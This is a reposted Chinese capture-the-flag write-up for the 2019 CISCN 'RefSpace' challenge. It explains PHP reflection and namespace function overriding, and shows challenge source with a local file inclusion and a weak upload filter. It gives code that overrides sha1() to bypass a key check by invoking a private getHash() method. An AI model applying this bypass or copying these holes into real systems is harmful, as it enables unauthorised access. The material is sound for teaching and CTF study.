内容简介:国赛中 RefSpace 那道题的 wp 与研究。国赛 day2 出现了一道比较有意思的题,最后貌似只有5人能解出。赛时我尝试通过覆写函数来实现直接 getFlag ,最后发现自己还是太年轻了,预期解应该就是通过 php 反射类来覆写 namespace 中的所以整个题解题思路大致是:
国赛中 RefSpace 那道题的 wp 与研究。
国赛 day2 出现了一道比较有意思的题,最后貌似只有5人能解出。赛时我尝试通过覆写函数来实现直接 getFlag ,最后发现自己还是太年轻了,预期解应该就是通过 php 反射类来覆写 namespace 中的 sha1()
函数来达到 getFlag。
所以整个题解题思路大致是:
sha1
让我们首先来了解一下 php 反射
Reflection
PHP 5 具有完整的反射 API,添加了对类、接口、函数、方法和扩展进行*反向工程*的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。 请注意部分内部 API 丢失了反射扩展工作所需的代码。 例如,一个内置的 PHP 类可能丢失了反射属性的数据。这些少数的情况被认为是错误,不过, 正因为如此,它们应该被发现和修复。
反射,直观理解就是根据到达地找到出发地和来源。比如,一个光秃秃的对象,我们可以仅仅通过这个对象就能知道它所属的类、拥有哪些方法。
GET
在 Reflection Class 中我们可以看到很多比较有趣的 api ,例如 getProperties
官方文档也给出了例子:
<?php class Foo { public $foo = 1; protected $bar = 2; private $baz = 3; } $foo = new Foo(); $reflect = new ReflectionClass($foo); $props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED); foreach ($props as $prop) { print $prop->getName() . "\n"; } var_dump($props); ?>
OutPut:
foo bar array(2) { [0]=> object(ReflectionProperty)#3 (2) { ["name"]=> string(3) "foo" ["class"]=> string(3) "Foo" } [1]=> object(ReflectionProperty)#4 (2) { ["name"]=> string(3) "bar" ["class"]=> string(3) "Foo" } }
读取私有成员变量
如果想要输出私有变量,就加上 ReflectionProperty::IS_PRIVATE
即可。
执行私有函数
既然可以拿到类成员的值,那么函数返回值能不能拿到呢?
当然是可以的
class Foo { private function showFlag(){ return 'This is not flag'; } } $reflectionMethod = new ReflectionMethod('Foo', 'showFlag'); $reflectionMethod->setAccessible(true); echo $reflectionMethod->invoke(new Foo());
OutPut:
This is not flag
SET
修改类的成员变量
利用 ReflectionProperty::setValue
可以修改成员变量,可以参考 官方文档
给出示例,这里也给一个例子,修改 private 或者 protected 类型的变量也要加上 setAccessible(true)
,否则会报错
class Foo { public $foo = 1; protected $bar = 2; private $baz = 3; } $foo = new Foo(); $reflect = new ReflectionClass($foo); //change foo fron 1 to 5 $reflect->getProperty('foo')->setValue($foo, '5'); //change baz from 3 to 4 $baz = $reflect->getProperty('baz'); $baz->setAccessible(true); $baz->setValue($foo, '4'); //Output $props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED | ReflectionProperty::IS_PRIVATE); foreach ($props as $prop) { $prop->setAccessible(true); print $prop->getName() . "\n"; print $prop->getValue($foo)."\n"; }
Output:
foo 5 bar 2 baz 4
修改函数返回值
并不能直接修改函数返回值
Namespace
这里简单提一下 php 中的 namespace 命名空间,简单来说 php 命名空间为了解决的就是覆写 php 内部函数的问题,详细可以 参考命名空间概述 。
举个例子:
namespace Foo; function sha1($key){ return "This is Foo sha1"; } var_dump(sha1('1')); var_dump(\sha1('1'));
Output:
/test.php:6:string 'This is Foo sha1' (length=18) /test.php:7:string '356a192b7913b04c54574d18c28d46e6395428ab' (length=40)
RefSpace
接着我们来看看这个题,首先通过一系列操作 getshell ,参考 zip或phar协议包含文件 ),这里就略过了,都是重复性简单的操作,得到以下源码
app/index
<?php if (!defined('LFI')) { echo "Include me!"; exit(); } ?> <html> <head> <meta charset="UTF-8"> </head> <body> Hi CTFer,<br /> 这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br /> Powered by Aoisystem<br /> <!-- error_reporting(E_ALL); --> </body> </html>
app/Up10aD
<?php if (!defined('LFI')) { echo "Include me!"; exit(); } if (isset($_FILES["file"])) { $filename = $_FILES["file"]["name"]; $fileext = ".gif"; switch ($_FILES["file"]["type"]) { case 'image/gif': $fileext = ".gif"; break; case 'image/jpeg': $fileext = ".jpg"; break; default: echo "Only gif/jpg allowed"; exit(); } $dst = "upload/" . $_FILES["file"]["name"] . $fileext; move_uploaded_file($_FILES["file"]["tmp_name"], $dst); echo "文件保存位置: {$dst}<br />"; } ?> <html> <head> <meta charset="UTF-8"> </head> <body> 我们不能让选手轻而易举的搜索到上传接口。<br /> 即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪 <form method="post" enctype="multipart/form-data"> <label for="file">来选择你的文件吧:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
index.php
<?php error_reporting(E_ALL); define('LFI', 'LFI'); $lfi = $_GET['route'] ?? false; if (!$lfi) { header("location: ?route=app/index"); exit(); } include "{$lfi}.php"; //Good job, you know how to use LFI, don't you? //But You are still far from flag //hint: ?router=app/flag
app/flag
<?php if (!defined('LFI')) { echo "Include me!"; exit(); } use interesting\FlagSDK; $sdk = new FlagSDK(); $key = $_GET['key'] ?? false; if (!$key) { echo "Please provide access key<br \>"; echo '$_GET["key"];'; exit(); } $flag = $sdk->verify($key); if ($flag) { echo $flag; } else { echo "Wrong Key"; exit(); } //Do you want to know more about this SDK? //we 'accidentally' save a backup.zip for more information
sdk 开发文档.txt:
我们的SDK通过如下SHA1算法验证key是否正确: public function verify($key) { if (sha1($key) === $this->getHash()) { return "too{young-too-simple}"; } return false; } 如果正确的话,我们的SDK会返回flag。 PS: 为了节省各位大佬的时间,特注明 1.此处函数return值并不是真正的flag,和真正的flag没有关系。 2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php) 3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。 4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走。
所以这里重点就是 flag.php 了,之前我们提到过可以在命名空间覆写函数,可是即使可以覆写,那要怎么绕过 verify
这个函数呢?
Invoke
我们可以发现在 verify
函数中, getHash()
函数并没有传参,很有可能就是直接返回了一个固定值或者随机值什么的,那我们是不是可以利用反射类来执行 getHash()
函数,覆写 sha1()
函数绕过 verify
判断呢?
于是我们可以操作一波
<?php namespace interesting; class FlagSDK{ private function getHash(){ return \sha1('test'); } public function verify($key) { if (sha1($key) === $this->getHash()) { return "flag{xxx}"; } return false; } } $sdk = new FlagSDK(); function sha1($key){ $reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash'); $reflectionMethod->setAccessible(true); return $reflectionMethod->invoke(new FlagSDK()); } $flag = $sdk->verify('1'); if ($flag) { echo $flag; } else { echo "Wrong Key"; exit(); }
基本构造如上,由于环境已经关了,只能本地实现以下,思路就是以上说的通过反射类来覆写 namespace 的 sha1
函数来达到绕过效果
做题的时候 flag.php 是有写权限的,所以我们只要把 sha1
代码写入 flag.php 就可以了
function sha1($key){ $reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash'); $reflectionMethod->setAccessible(true); return $reflectionMethod->invoke(new FlagSDK()); }
当然,也可以像 @zsx 师傅一样手撕加密 orz …
以上所述就是小编给大家介绍的《2019 CISCN RefSpace》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
TCP/IP网络编程
[韩] 尹圣雨 / 金国哲 / 人民邮电出版社 / 2014-7 / 79.00元
第一部分主要介绍网络编程基础知识。此部分主要论述Windows和Linux平台网络编程必备基础知识,未过多涉及不同操作系统特性。 第二部分和第三部分与操作系统有关。第二部分主要是Linux相关内容,而第三部分主要是Windows相关内容。从事Windows编程的朋友浏览第二部分内容后,同样可以提高技艺。 第四部分对全书内容进行总结,包含了作者在自身经验基础上总结的学习建议,还介绍了网络......一起来看看 《TCP/IP网络编程》 这本书的介绍吧!